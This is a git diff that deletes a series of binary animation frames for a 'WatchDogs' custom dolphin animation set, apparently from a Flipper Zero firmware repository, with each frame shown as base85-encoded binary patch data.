z0paJn+&q8&2L*^=_xu>fKu$nz&&98<|Ei1-v_b--v5B~FN6{=p$DpnrxV~9_`&Iaf2H0tf%$WcH diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_1.bm deleted file mode 100644 index 2f758e8095cb874d8ce7163f43cc3a169bb61ebc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 728 zcmV;}0w?_e0Mr7);dD?;05&`y{aq_p1&RaX;s4cCsa0C2K0hD&mRHv+2ha2W1GP~$ zli+-R|L_Z}FP8)dJ^&sy45nJC5(Su0_yF;hYPIuH^%usgkc}6s|GlSt;K2C*1ICG| zp+{r|>HqF6Sy+`|y+8d1D%CX)y7WK;sNUMDw}SNl?;2{Z_5!Vh`ARCfSP(Gc1?0c& zDw|zUJn#kOkLs$G-3UDc;;k?I9@W~B28O^+hy`*X0oY-Bs@K23Bv4!jLI>(rygmUH zz|bssD5`bfa0X!TFc2?jJ;0*{i9je2Uf4LGfbyS#h6PlLa3E4Z`wxZzqng5igVjKw z_}~=^_3$7wNFY58q5vI4hY2pgQo-vV0+!+xu!_(t@W6UOz@%Is00d$H^-82tfdKnQ zXTb9|kN}}tiLUVQaEt)B(B)LsgU^9rz(8DP0v%oR8UNS7Bpe2s=rtSa77zay2e*U& zNUG>+xo`ar12Dh?&-wrCYNgR!75)Pbm~sKdz*!E{Q>ukxKkz6py#vGl*j28(egfcN zK=Th5{tcw$QvHq@)1xE(idj7%Z==iT?%-0>FC^dQP=bsu#Jg zR0eo}3x5E{+OaSTz<-LfJJe|k@8AYB;3e-qw5Fm3vDw@hw zF5xl`xBzvPU93+55C_deMOue=8HNCD1w&g%`BVVo4hOVDQ3Ao;q9O5vh#yfN(0ZZ( zVUMIl#*j;-tC4pfl4w)qO9&MrDFFOT0pcGgdCSB{{g?~W_7F3G;2<0806bwp@$dDw z-v9A{a4=2aJb(kh|9}4f-Mj+nVTJFc0Q1OS#iPIf=qWk~Ht-&jPX}*&ARYwLff>F7 K($N6_1Bc$^@KtdD diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_10.bm deleted file mode 100644 index bf330ea684002ff202a11029ef40cf2dd3cc8006..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 606 zcmV-k0-^l@09pb7MDPSM5BxkI&~Sf1L2Cp7mEay=<-kwCg}eck{2xN{fKP$R2;fD) zr8ohUd_KMls1T+T02s%KYv3cD!ayII_&n$V^#__5>;N(czy1afd;mQ78{i>$f$87} zrf>*m^!NkP@&qp;T!G{KH=Y9j0s;>qmMU`pE7ETU2dsYp(M|=v90VMJj6vd=KzP&B z1@JkP|KJ~I0eAuBAN~Wyes=!(0C)s4pMQht@Sp$T;PF}v!#)28s2E5B4=KQSLFwoR zo&p;HrUTIyKY)4+h8PcEF&G3MxA1v`gdR``+yXcc5jglJDnS4UT!BI#Bp~oUd~kZd z1U^O5?&HDhJb*?&!(w>|IEv>i2a!xwqz_1nG(qI^5PaSN<9<$=c)$ZQg#*SRJ_i&b z9AE+G!s`t22bn>$>rn@Zh(qN-2cPf1GY5=-K9LXioE|?r{lFeU@xTNN{r3ltjUYP+ z2z3F!|1L4T0f0t41L{(#>B$PY7EgU4wBcbNTR;PJeE1L+VKz2fj6 zP6P-ZbpGrQvG5P1!Wa)Rc)%kU2pIi^<|P@2LIhuDsF%ndJ_sN`mE^xbde}G+ka?TS s@DEx7{BGZH`Gd*!FpdLAL*nBQd{6=AKR_`9#xM_`@I2xe2n8G-Kt`_s@&Et; diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_11.bm deleted file mode 100644 index 7373852c905ae6e270676ad003388a529fa43b44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L(q0CNJM0vp%J?X&@I9gcGJ}WK01qMgP&g3qSx15D06zgN zpcBCSKt2-idBOwn_=tfDIWP~rBk)T(#eg1XB9y4%xZUN>0{|D3I7kC%ICP3j2r^0Wa5)eGUfbkEdzx)gkd5?rXpNzl$9{}JC z$AAxg_&ngS3jjP-CN>`b{h}fAn0`Ry03j%Y%tSMQ_?ie3Ao8Ds*$73E2dsD=L*xgT zAaDaAn0^Px5Ml^C-~jU<6a*fJa+|%!@IF3==pJB^p99-C4lsIHJ_ytYq>cC>@(-HO zf$4l#kUXF!;{Xj_0c=4CeJ}v@zsElS^YB0@0QCO<_ki^N2n+lVFU|f!JRAqZ0*5Go zeEwh|_=C&h4Jnyg^n3*ZP~f1v?~%Ad7@_&<nmPc>n&v_K$&!14r<8#p(P9 RrUL^9H=sSD5C|ST9zckS5#j&< diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_12.bm deleted file mode 100644 index 9294505efa801a58af380a39b9f3ee952eb2db80..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 652 zcmV;70(1QV0Ehy=|KZ?cpab9k|DV7^_y70);GkmA1LOC65178C;{5;&3_qRw|I8p@ z`1^;xeCKaf8F2j7E(_x}wC@4g=l zXgD;8B@f37_76M{svvgc^oHB0fb^CJ+8=xmtVkX{;Cf%If%f-@(ieP!U>>I^fM3U? zZz*Twv4X90r^r~vEo zDpk%8h7J=*e|!D@_qYF|L}@UeIB7e@Q|-!Vhw<17*Wc~?-?q4aP&`RTU-jR>1K;iU z>!9*~hyc%`04?~?R00n>|M$Q3_usev-uOM1MgSjBV4>jgKM}ltrr`;t9;;P;2pE4! zGr#`Gr2(`T&0vl}---wCwhN73Kn*aE`~Ckv{-0C|7(5`Rzu)g~`IiTj_5ou# zyUku(KkrZH8iWY{QG@sV|Nj#ESNr{cfOx*<0oN4-zCSJhRssC`;4lqE{O|AM?u!zdl!y=M+KX5uie9Q$0s8Fea@&7@^=$s$^J^=`T z#JC^${s8no);YI^1yG8kU%7q4}=br`%jnvV_@L`4j0W=**8pJQSfNR mDqf4`w^iH*kKg_K^?%^CTm&J|ISExq|9AfV``2rIUWHZIN=+vK diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_13.bm deleted file mode 100644 index 68843f2de55932cc8bb9baadd67cbaae451b1575..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 683 zcmV;c0#yA00H*@q(BKddF-QT;{Qt*bAn}1fC;|8X?co4p&;#T491sBq=l?$+*gSjo z`4~X30Qmd={%|vW3&a2*|AD~)^M4nJfB*3CefPoRe;3ev|LG(Lw*5js{(4Bm?l3L* zK8xf45dDA(-vHB0_i82q25^V?n*`u@>n8!~b3uClp!doLf;KO30PA5x@$g5%w&#U9=mu&@*x4;RUl^Z@&nRe z{r^}0U;G-hU^*arSAU>WuhOqjYdAeCd(yGT^R);Lj2@T&_V(|u_t)YUoD7^Eo&WF@ z=lWX42L=r=2(d(hQ}~C^7ls!kfBeNSy?09rf_Z`G+s}lDtM=D-@d)wQ572-TAs)PL*(1{d3I5;{|;ch4dZsJNuHQ6SI3?fbrf#*xzB_wDcufHc3mdjIfBxBXOz z4rsCbfsfzM|Ijw6k-wHl|1nAtjJtnExc=Km0T>qlb^{-Ty%ab<@(^G*#vuE^LWdsj z|D7xEcz5tH`4LBdUO12cKM((S{qR4*0Kf7559;s!Nssf-`-lDoR01I|$w!3ED7g=6gsf2ZTEl}{~WW@jg diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_14.bm deleted file mode 100644 index 015477cc8019235c474e9e15f0ffc591c630d056..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 744 zcmV+k^>^Kmr^WbWnf) z{RAF#0g;2tDgXV=;2?4zlmmbRD$sm)^)UK?#s&i)h5R5tFgXAYp#>kG+#n$KtV2QP z-v^8y2oFl6RK9=#pM%$V3J0I;9yjrN^yb3$zlYabEf=@E9=8A?hr~c!bxE+$K1Tul z@4@JwGx|9M9-jdEfC~QyX|O#GBj1O?0faA50zu(`qQC>=?+?cd42og(h0g)z*EC>* zh<-lc|6inl{DH3~$5p2dDs+1AG^l0A>aC*8YX! z8V~_OFah-6?&jh3)JPk|&K&G2{0~?rfIhI9;5=lJAb|td?+w0LFBuvn6dpbVdd6?? zU*r-a3Kx!;9En1+|E)b-gsKsv2dBUH|G|w1{}qftG~)GA4GcQ&^8kY>|MPt+0*>$h z4?7L;uwUE%^MBf}t_S-c2aj+bSNUG!|0;v{J^uRq0ulUy-@AUfC#TQf2aoKIDPjIW z)ME&P=s%l$|AKx;5qSTj;PIfrpcD#6{K74B2Z`8VaI6NCBb_{sy`%aet8Fen6< z{{#Em{}{Lz|2noDJ_8{T(tqH-s6841gukbX4+4--p%(lXh98gSKxT@VR>J{=NFW>j{eBVuip78O|Npw48W;vpZdM~0&@S8d au*dii{3MIN_xZ1;&K4|5DUJMkm>*a@N*0T#2|2ZFup(s2CGm3sR#$Jeh*#_tWZACd-aeWk|28f z;P+wr*9q<)Xu!Rpx9b2sB?I`P1Jfk0FMrmB{=W1t2LJyb zwBTUl^ZV=nKl(oh-~F%tark6;0EQpJl*I10hiZ@j}nkQRtG!qXT|6bG+^)LP!DiCz2Wz#fydi7|NFoA z4W&rDU+VmVNx}cm)8a2GfH;Q7;Q!x$RlHOK)%HddzXbq@{0M{nfx|Q!2v9s{cmVLn z{vG~5{tZ6)W$!@opFkln3IEIg5dY)j--~@!J~R9T4*@^;eek{S?Z^EM)ZhDec?1$6 zfB1jlum}_a`M=!@#{6C{zsJ8Hz(F8~k>056sX hk@>yEIE!&R3<80vzW)EU{FnE?qVR30^;oPbDZ2gH5@2m=(r9~b%Df&dW^{Qu=}KruuC^M9X^1^^=v zd;|o5VEdp0`v4E$`22zS3ouYT_2K^S#6kQ2xP$us5AuG11s|XxfXGGp{eZy5?Fb*P z239|<_y}-ua(>`v@gRO+Y6j2rpl#JZ4|X`nc!{XrG>2ig@EyUtDj+`Dj zy#I_oDf0j{{y$(ypY#8B2dsW?;QjxgApr)h|GPSXcnIVVfBx0ZrW^PS@&R=Dx5@_~{$Jo0 z4d?y?et~Ergt6d6;UDjG1_^ur;CpZyCs$uWiDBR$h490_ef}JeQ5f39$0HE%d^htL z`~&Tuioh(o*gha2KcC;;h7TIWUI`JwY^mVkkbV+l!$|Jr}@KR(_=?KDbM ze^Kawtjd4>pWnC;`UFM^KaO}Y|9|g$`~SV)Fca7W5~2TH4gutQ`~Lz3QauQ)ck)iB v{$Krz|Lx?#Hw*>=>;L3%La~)sZ|&g+kHHKg@r7%^V?fZD##cyye_{1dqsT*2 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_17.bm deleted file mode 100644 index e3b633199be441771bd801186ce9b6024d5fc4a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 805 zcmV+=1KRun03iea%fbC02lf0P+wgyX;6na@#h?)YbYKDHX@F1x&jb&hc1tJ+ydWNT z=m@$Zgz~|DrFB4i?F;ArgTg`YRR@#<`&+03-}M0>j1Tn(l|Ut?)zv_Q;{^W7?H&*C zeSWY}`F^tcPDlO*4@*G2pg-KLOZEGQgVL}M5qVMd7f$#+FdYgYe8189hxh+J2OLAH zKO}hg^k?ega=U|KbQI&)DMmHewL{(|9u7i!0sRY_*g&(x|ILzX+iGrh2wW> zCh`a0|1ZV|?HZ5tK9Yzh{AD6{?}yR}5&!MQ<4dW3`{VV5Kr8#!_|fA>>fY;C%f!G zAN@~%q=8;H;*kIiEBc=hsX#aIpU1p1BJuj&LB(I_E@`~y*S-~0Ra+JDIuKl%5A zN4$b)DxbR5Lw74OkNJ8(SbP=%MXK-Ms-c6xH@g1vm}>G_PN0r5+6VM*KdE2$um8r- z=u}>&teQWlyaTBR{d@{z7m8Lja<>@%tE+PQ@A{j#R)6;0r5pwTIyY9pEx diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_18.bm deleted file mode 100644 index a7571851353c848641f0e9fe8432bb753c6c0c09..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 923 zcmV;M17!RG0G9)(f4~I~1+Ihb7l2@a?;wD{FcqjAf)EWG|NcG>9E1=iUZ_+8iVq(D z?tTgwB~Tt!NR$Ir{s<2K{t6lfNFG{<5FAIv@Be~^DJ3BmrXzxde}DGh*gUiuKp5aQ zl2|Z&zyb>zAbhAEOq>fIKOlL^B~T1h0@Eds)(N9+?f+^NsxHKyT}TuLgg+1gBE}&! zEsO)BC4k`t<-Y&WPeWx1i~~(8fW<}Q?fd@Vbq~zwJ~#@*Rs~A_`&HsEFX#PWRH|G8 zM2sH)fBgf%e=phPyeb|JDBxMzk+% z777Xflb6T$*B7n;A~0Y6ANk+!YC-2o7ne&N|DN8zcmBgrztJ#o!Z?ujaPdF*FmVsk z1>(c~_gD?Q2l_u*1Owt98~g&Hp#2C3)%~B)6{ETbjp$4~1d#9gzyEkRU>^v7zWP=# z=lJL~{(cM)I@~?~{-rPA{Qpe??nD0lSQr?80OH^KY2bm?L+|_g{Q?2{2bF*IAHYI2 zko`SY)vJIX&wu*YhsKc`rPlBeDgpf40`M$`KQ9fC=V~8PdDrb=@#1Bv;ZlJQ&;P!Q zKqQh3u2vKe8UcL30&g4yk_oGq1II!82Oa-!`ihoE1|Ko{fA#Pv4g-s=mec|Q-%a{p zpcATGD?r8|`c?nCYE%O+8hVI5h67b`4!#wTAP_xeaFNkP7sLF(gOjhT(gVg+A{YVW zfB${=+@eyrECA#%4uB+o)$|bW|M%)tAr>$ypg3p$|6jkp6d!)yRVw~zSA~B-5WIJP zs(n_A=!Cxp{u&T??|c96zV553>Q~c;sjC0`|E+$i-K)ubH}@cL|788JAouTIyrIEwQ6{CIE>vhm72BZI29uyx@f8G1;y}#A|tMI??|DFHbUqk=5@BQ0qx3B-y z@3n{j-lyuf-LF>HTdA(<^&frL?KV08RsOHPE{|)iTA*LxKjhHw44io{siGU4yzO_8mL5VR1W-Cd2RcUM%C4;OLnzNuk6_r*m?i} diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_19.bm deleted file mode 100644 index 02985b127b3ed973d11cdc55726dac8a76099af4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 721 zcmV;?0xtal0L=pbfEX5Y2n31*4|oVXuM-d$?SG*4frHA?0)S8h?g|h9)Br<5+Wmp+ z1rM0~Xo2Rx!olUxkx;OmU+_U-!19m{1U^5odcgtZU;zyhsxM*r&?FQr2mIc{^Vm?J zkV{y8jpTn3`iscgH5#2Zt zyvOH&piv-~e{bFY9|iEz1)?8RdH5EEYrp%+@xU1u_qE&q??L4e51a=Ph}Hkca_s-| z@_B#p|Ie?e9+bb;Ty{7QOn?7c--FY4?Uj$pp@qNwexUU0^|fT;g4u0*uWdW9T7_aaD^B_+42>`19)C0c$gWCU4fNHcIPyHYGz7lx=3SR(#!n{BD38;f&1RuV> z2PDN*JRkqby-Xw2qEaLnPf#ST|G$3t3Oc&3uIpAKplE*L@~h=ykb==_!X@?hZ~w{x zgwSZeP+15HuXo?~|M%bh`~IyexO}yx0sHUw_w?xefn)Y3mu%u*(ou^DeqZgWcz_5m zC4m3;;_?6YLZY-@*c^TSt-rSayZem9fFmRC|FdB+`-w*1+wTX1%Q4(^2}U39yAL0Js@xo_y17}1CFu<2@kjb|I~|t zM{5Cz1CId)zyrqB36xMZa6($acmVN^z^0fApx{C4@CT2I0n~t6ARzUDmxupKk=};_ zduT849yMN;5(JBQC^&!mtG=QI0y&TX@L=-3!7vbbY|tLOV0mz2&sL!T=sr3co3+X_6`a9|!1 zdI6RI5;Cp_{wN_30X>qv0Ec)b^GX0H;7nA2#4%C(RG<`aFd^!KqqMKZ&FKaL9>N;{ zscUb*lZZh;W57p^ZV9dVf5GPn2bb~zpw&XOQEL5E9#X-`;6L>W29_HG(b3jqbR*n4z1 zkUaQ6;s3zs7whL2%>ktY%p70%R;nY2@qVBVlZ<|Y=hcANIluY}JwKrGs7q91>;H$1 zULfGx`VIsi zqz?hQ@ceWD^ME_b0Z4ca3I|ZI1JRx!0fj(nmCpo%z;HnM-yjx`J%;8FnH&RED&<^D z=r2s|OZ}?VTmj=A1(X;DT3sNRZh`Wbi`rFfyTNK6usFxX?a->?p|o`vhKBce0gu1G78j&uMk_0qZ~i43X+2;+UH$**_79EjDi25z zJiqs!$oy*e(fZIod+~Vt%fo-DgHM40v4_g*-RpPywIO;&=wDQU1c&{vqNCgP4oeI@|uj_SN`|i45 z0EiRL0rh1Lu3OX^4^{*ZDgX#g<5&9dzu&&}avLBgr`Eq$p3gtM`|JfEdbM3FKh62pz`(LFXQszK;a+Od9X+A#ov<(g#wH-!~k$R&kp|)2aW;>zUqV1 zU(~1H;3o3B|HbQ%)c3#a6Py41q4nwGXYkPZX@l*bs?B=PQTcEsMD@Sf`m)GKJYf(y zKs`VMRjm`sh~^M`e!XPkgk>jEK>PoHq4A*EEp(E4fCrmE(0;G*u^9e;{lD-$|38}c zwpE}9kI1+{BkSQRF%@uw$Kvl72$T(cAkqPktN;7|{mI6iEf4ztwI{#mFeX#~^o{NX zPP|t~_6RTlzuWrNwz@EJ8P(uW4yZan0}qHm3&epy0_o&m|5$o%|Mh_F+5@ls0}lV& z+kVMo7ruwaQ}hR#lzX*ryuJYf;D5j(051ObRcqGQa;i}Vi+uy*f9~G>a8P*Q6RZ8- z>a|*EKsdCP=5Y4=_x}G@tl=2|JYpJ-*Q;;u*-)gg3Pvh{0)k02)hPv6wF;nRKDxM` zrag%djU`|`slP>-cI&MMf$yrCOMY)kz9tD({Y6*e|BJe$SmIk1(+LN^cG~;?weVRu vOWXbXhy)@!s8*yrr{TZb{lEEEqRT`FDUf>GvEcRM=J5}&?{9r@oxW2QTpg=W diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_21.bm deleted file mode 100644 index fdf80ff6d2693ab6dffe1f720dab08933630fc31..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 761 zcmVTxkgO?%YR=Fjw6vtsJwpu`@Gld<(0~T==C4|w?AIe z>Z@GXp?$sodsSAuLEg=a>mHB?$6u?`!o5E9`p2Yx{aCPnciq0~4*-M%&I9|Z)pdHu zAnkWR^nnw`tM!E>hu5v4z{V@@2ac2V|GVbtL7@OA?`uBYdq4i_e+mpAIrWF%_S3jV z{)8F?y_|LF7%Y1r@vrt{{|NjL9x#aZ0scS&p6|RC`2aj)5g>ZQ_*?&m{F-)806jPT zPq)W@e>>OQ9+&!8x7WWo9pmOdT;)r{uP2m3~;^LB(LrUBT<$|J|gx2n2&cl%a#vAT!_V^rX4Gusx^txlBOT zIgptD_TS|SO|PE)ZmL966JZ01OgHWnf z3Sa{Nckl#o-O?*>weI@eatQvf@Sc!87NhO9|8MY65b1r36{~If+iz@Cel)L8Jw4z1 zZtu6hfqp0X0$T6xy}Gsb*Ae`0%qze3_qN{sU3LNRV>j=AYu4pxkSGOE#v!ra|9$q` zELH;Y5CH18T8{m`$19{lpdBovlM{f5M71|R9O#0RDT!41q*lj1CL(*4nSc2{r&lOR7zFwit@24 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_3.bm deleted file mode 100644 index bf0e5506ee82c605a024d2cb906deec6d9cbde4e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 834 zcmV-I1HJqK06qhOKqWvy>_9vfTr3Od2p|9a1~niM>>w}=6b=F6fM5aR2*7HA<7j|T zB@n0wq65GOjEVt02aW&)K8U;m)+5;XznfCfNV5%~WH z+ARP_@-fueqJb_~{1eC%$4>5V7SMYKW`p?IL2|J-gKm|Ytj66QHKq?2x zk|C6}1Jgi0H~4}I*l-Z~4~796931ikbT6Rzpu&@`K|0-Gdc9;wbcpE3K0ggj$gQ`M-Wnl^z{ZLejzgM*IEk%GHDIuu_3)AhA z7K;I)0gv%Yg;luK#(!VzIz~!0|_v1JOdk zCXdI!2M_)U8bTJ9-VZ$yG(ZCYl#xfp|NFj500t0w)~1pPSN>*yC=PeyX8@tlpRr+_$nWt_-w04(F%+xUVHDkc=S-506b!#^Su6N;9~y5_z>s}co1D$ zANn2!DZspBumTxiJs7|7IG_|L6$12uItF#xCZoz9$JX*rC;t9;Tm)UpoB#SWLF;7? zr!5*_0+L`UKx2@62gm>$P6HYUC~t$5>_7nRyckhH=nf77v6xUk$`^0Tc(64@(lj zcthp>zy$~%Sa|gi9()h{fF7`V7gq!?B#@j>_zw~2c5hMmY7iU; zR30+8h&=RPb#Q$H^d(v0eN2oz1^ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_5.bm deleted file mode 100644 index faa5636d23437c3cad0ece05bdfaef298f457ada..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 688 zcmV;h0#E$`0IUK49s(!?D2xa31O9*i;Pj;d3Izh_K>xt@&H)NR0{B3|!VgUZ#0XGO zFyO)MK(`Cd0pQ_-+X24<6p{hJ`G?##A!Pl7hW-gjNWC-x;s>aF;E)V}JfZ1GgbTzT zP;h()#2#=EQTPC;4?seE7|aeC_#rz3_$M#GUj*gE2jDQj$R+^-VDUz*0-*%ZMF7RX zCo}_L5s<@0=U<2e*P%=4T9M}if`is!qm&j39?0P}hd8%F{Rh&_Ga@c<4O2qA$_p#2Nu0~ZLr%i?b+ z7$AZ1K!9T)U~wLC`Ty|NizLC=fjq!%*P%|MGf)K)C?o zhw30SjMoqU2hc%a5K#HRE)WVt)3yJL>Ko(_D0x`A6W$59Z3+VB8&_FG^8e#{0Qolt z4i7m5*8~5L#0ldAz#UQn-2TA5(eOD#I058_-vLpbf1+>?h5{5HKhS)r7Qd`4J|OWA zjR8V-4Fyx%5ig^>!Q(KXefY!iWETT3{QvgN<$#y);-qqnU?iX2uzaBo5#hf?J~9pm zCu9HqgUbPu;KkDCfY$wQ{rCh14FLLZP2vC;4+53x?f>u)XUOC*Ch=3115@k&eZs=| z8U_V2bUFw7=l|ZB$^mG=2h83x&+I>-4?4yI4h}5`B7^+Duv7TiN*4kqo-hG^I2BMS WNV-1oc#{MGSI-304pa{U_@E%|fjP4P diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_6.bm deleted file mode 100644 index 3137638f3afbe5ecd1de3c176475e9adfb3c0b20..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 612 zcmV-q0-OB-0AK

d{u&;P&z4~P^a0pADQG9ds55I$glA^!vJIRL-|%6=cL2k;&- z@%+F;=LZMGV1AG?eT&ExmjEHc1LuDSr(g(Y;Rlg zH7{V+Pzew`m92P!huEC33WQ_`QUG}?TH$#D6<{7j4x z4|K@j1Lyb$$b4b|@o=a(d*Smhj{vY>0sW8E9zOtj|3T+~fdj|*4^gQ9+a&>zXORd1 zA9xucvH-aP4uR(bBnTeRj|U(BcMrRun&adD$-u=82bmn87Y-Nx9xploJVVCQ6{x{L z<{uzBUpPPbm_29UW5g+k?g$tZ0#Jt(sDKV0wiy0W5dfD!C&1*uLGT~^{D5*Xhy#2; z2fzo9>OW0{z$Sq9@IjmdpXhkt6+nDYKePURYXDCWdfXsd5AA-HrNCMN?KlUVr`G_e z1JC#Z7~~IO{@?$(!1Vq%$_W7I5664wfJi~&4js5WOT+m0*Xf^_1qLL)9k_gzBlzQQ zX`@qED9v%No9}oclvewaf&lUu1Z|!RsFfoj-;D2d(=6KOlJEIRN+jTK#suJ@6 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_7.bm deleted file mode 100644 index 94f7767d302733b800c5f2f890ad021d24f893fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L(q0CNHWL^3e|{C~g#4~XQ#Ko2YUJ|zGl_yfj14~fJE0rUrqJU<}u50nfa z7lZ4?X}rV4(8+1Kl7v2oOAtA`c-TgV0_>k_X7V zfh74cD38hk1;Bg3^OAi?oeApCq_^o0k+9={I{|9-C+1X=(O zBDjDDcz_%DJfVQ|1C&F)4;}berhxLFyN*5&8u%Ec0P-^uAZFn8r~}A6eF%R7{wG5C zlT6$&K1Kfi2P}c0Nu+Kl7<@tHK-2<69B>Q72Z6r_mILtt2d?lQ)d(0paD)*DmIDKD zf`iwH3laHvARQPTz{->`5Ua!?hQ&;!l`!Y7Y| z|M!4c5+%Q9j{*UP7l<4|10aC|#m+Dw_~oHO(fj{h!l5qv+(Y9GgZw@J-+74t9PoI7 zMmZJue@O%nJ$O9i1M>IpLFoqvoDxJYf8-DR4>)JT_Lv}iLLiIv00=Z(Vh=20{Q>6y zz5~t>e;D{Z41@d!ltM5M5%NF)q7O)bJb&;odC%Yj@`6Mr0P=@}%xXV@@gxKu^U!#S R#t|U6eF5?>5O~l(0P>~-0^k4u diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_8.bm deleted file mode 100644 index 5efea1a32e3c98179dc410de9800f3e4a3427d49..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 637 zcmV-@0)qVk0C@rcMDi&B@PGgC@O)}F0P*kx$AEuNs64&^!2uV5K96(IIRrjmg?a|r2mnEYfDey42jBs$0pdOG2P(A;GVh5Dm9&Cc3f4(F1k3cv; zbbx=s>naDD++Z0G`GA4tK3|Xiey%!tK!N2{2ave_67~Tr#sM^daRtT?8TdVI0P!-A z0Dlm$diDY01t0+KpkVa?4;ktp0>?pkAoS21#2%bF0DPH)K$r={9(W1}2tnpY7$`kB z765wSHUabC3C2JVIM@(;5a4-#gaQvp4*~YL1Rn5z z@Fb!W4hF6su2>)NUQ-DN3;%xytOxK97$kzgw>I(|L>@591%rqW82COQf#DC7{2pLI X2b3a#K=6aafP4WU{tE+)pa;+Xf`1F^ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_9.bm deleted file mode 100644 index d9b7a21d4d88d85f859284f3f20b8e13ffd02b48..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L(q0CNHWM(_kU5C8lhGk_4}Klkujz(8eq0tkF#;N&qtC!7o(n~3nd!h#PHa{ejcLa0gs;$Ap_Jd5XWm;=UsA8Du%tQG)xo0J|g zaCy)H;%-<5!fu2z`5Tr2FbkiE9zpi-SHOkD56^-c4`BG<0qIo&7a^WO@gk5sqiS-@ z1IK_LAANG6+2*Lh%R8{0uR`d4b7tAomxMoMae7pnwLx4;exHK;p+32b2B~A^A_B7(sG< zKmTxeg9ZUAfI|+(;vfIa1UI1hi^N<<((!^=Efx<8x0O-TnB2XZDzi$MpCUIhS-T@~a2K>2}28TbdifF6*ILwtY<@CT%0 z;Qa|iTrBnzy+SOO9TDI!wRZsxqYE@8ab@tU=Usts*wP|%$tf+WE zgR~TlTU)lJ3(Hk1ri#a`A|9wvYP(T+00$##)#|ES?NCIupurD~Q%XJ?ZZ=(1>(;A! zy4IwcHCj-d@7kK6)OAAACk~*9b8Qx{Y%&l@RIMhF)fPtkl^Td3b+V!fRdwM}iC?4! zQQH_stEmtU*0w___7qw+()j=jTd%cSaF@wPTC6t^0aYnATK!k|QnzTfi2^Q(0CK#c z_}wx$$Ur!Cs^c{YJim24?#a$Nu!xI>s}<-C$LXcNP)p)3AOPuoT~PSiviD&?*0sH@ zQml1ZPf&b*+WX~13MjIwYGqopK-GOY{r9LEHoDn3xm8cCT#`F`_vNZ95;u(3Yt_~M zwOjkQSe9K-@Y1P1(fIbYm)rOCays0tR!S5f&)QY})qAVg(D`jy#j5=W#{X6S-R|I# zKZd#kE{fA#w4xJ9ERl=^&^zxkAXU%mZ(8Z|7aymel_|GX|Y zt^c;YwW~!}<>dPRuWEt)f5rj@9VJ$i67>K6_wjiChy_)ehs7X1E%*MsFCFc_c8eac zd{g7-B#;<=|G)lRI53%3CaI2$KFt)MhD+Fy6Q|NYg|;~6t< z1&S%LkQjzbyZ@92RNo)>v`R10lG15E(opZ|Z1KB=hNsoh7sph75D1QkE9$@B#p4JA zmfY4q`rM~$iu?A<?Tu%|Nz>A>y_LWiWyT zE%VEh$0aD|cZ0$u*X-&a$RGT94}as9GyzV|j~#7psrQ*jzORE!aQom{F+}sz3P6C& 